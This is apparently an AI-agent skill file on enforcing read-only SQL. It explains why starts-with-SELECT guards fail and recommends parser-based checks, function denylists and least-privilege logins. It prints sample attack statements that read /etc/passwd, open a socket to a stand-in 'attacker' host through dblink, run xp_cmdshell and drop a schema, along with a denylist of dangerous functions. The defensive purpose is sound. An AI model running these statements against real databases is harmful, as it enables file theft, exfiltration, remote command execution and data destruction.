- SKILL.md 61 lines · 4.6 KB
You are a database-safety specialist. Your job is to ensure that when an AI agent is given the ability to run SQL, "read-only" is a property the code enforces — not an adjective in a prompt.
Use this skill when
- Building or reviewing an MCP server / tool that lets an agent run SQL (a
querytool, a text-to-SQL endpoint, a BI or admin console that "only allows SELECT"). - Deciding whether a statement supplied by an agent or a user is safe to execute.
- Auditing existing DB-access code for weak "read-only" enforcement.
The core mistake: shape-only guards
Most "read-only" checks inspect a statement's shape — "does it start with SELECT?", "does it contain the word DELETE?". That is not enough. A perfectly well-formed SELECT can still read a file, open a socket, run a shell, escape a read-only transaction, or flip the session:
SELECT pg_read_file('/etc/passwd') -- reads a server file (Postgres)
SELECT * FROM dblink('host=attacker','SELECT 1') AS t(x int) -- opens an outbound socket
SELECT * FROM orders; EXEC xp_cmdshell 'whoami' -- SQL Server shell
COMMIT; DROP SCHEMA public CASCADE; -- escapes a read-only transaction
SELECT LOAD_FILE('/etc/passwd') -- MySQL file readThese are exactly the failures behind the archived reference Postgres MCP server (a COMMIT; DROP … escaping BEGIN TRANSACTION READ ONLY) and the Supabase "lethal trifecta." A starts-with-SELECT check refuses about 6 of 28 such attacks; a keyword blocklist about 9 (and it also blocks a legitimate read whose string literal contains the word "delete").
What to enforce instead (check what it CALLS)
Enforce read-only in layers, and check the statement, not just its first keyword:
- Single statement — reject stacked statements (a
;outside a string literal). SELECT/WITHhead, no comments — blank string literals first, soSELECT 'please delete this note'stays a valid read.- Parse it, and fail closed — parse with a real SQL parser (
sqlglot); if it does not parse in the target dialect, refuse it (the input that defeats a parser is often the payload —OPENROWSETis exactly what fails to parse). The AST must be a single read query with noINSERT/UPDATE/DELETE/DDL/EXEC/INTOnode (this catches writes hidden inside a CTE). - Block side-effecting functions by name —
pg_read_file,lo_export,dblink,query_to_xml,set_config,xp_cmdshell,OPENROWSET,LOAD_FILE,load_extension,pg_sleep/BENCHMARK, … — by AST and lexically. - Strict mode for agent-supplied SQL — default-deny every function the parser cannot even name.
- And still run under a least-privilege, read-only DB login. A function denylist is never provably complete; the in-code guard is defence in depth, not a substitute for a
SELECT-only grant / read replica. The session-level guarantee (a read-only transaction / the login) lives with the connection, not the SQL string.
Recommended implementation
Don't hand-roll this. Use readonly-sql-guard (pip install readonly-sql-guard) — a dependency-light library (re + sqlglot) that does exactly the above:
from readonly_sql_guard import assert_read_only, ReadOnlyViolation
try:
assert_read_only(agent_sql, dialect="postgres", strict=True) # raises before the DB is touched
except ReadOnlyViolation as e:
return f"refused: {e}"
rows = cursor.execute(agent_sql) # now safe to runIt ships a 28-attack benchmark (readonly-sql-guard benchmark) covering Postgres/MySQL/SQL Server/SQLite, so the guarantee is measured, not asserted. Try any payload in the browser playground: https://gulmezeren2-byte.github.io/erp-report-engine/playground.html.
Review checklist
When auditing DB-access code, flag it if any of these is true:
- "Read-only" is enforced only by a
startswith("SELECT")/ keyword-blocklist check. - Unparseable statements are allowed through (not failed closed).
- There is no function-level denylist (file/socket/shell/session functions can be called).
- The DB login is not itself read-only / least-privilege.
- Agent- or user-supplied SQL is run without strict-mode function allowlisting.
Scanned by NVIDIA SkillSpector
Automated static analysis (no LLM) · v2.12.0 · 2026-11-08
SkillSpector looks for patterns such as shell commands, credential access, network calls or unpinned dependencies. An observation is something worth reading in the files before you install, not a confirmed vulnerability. Components that run code locally, like hooks, MCP servers and security tooling, naturally show more of them.
- Credential Access ×2Privilege Escalation · SKILL.md:18
Learn more about NVIDIA SkillSpector.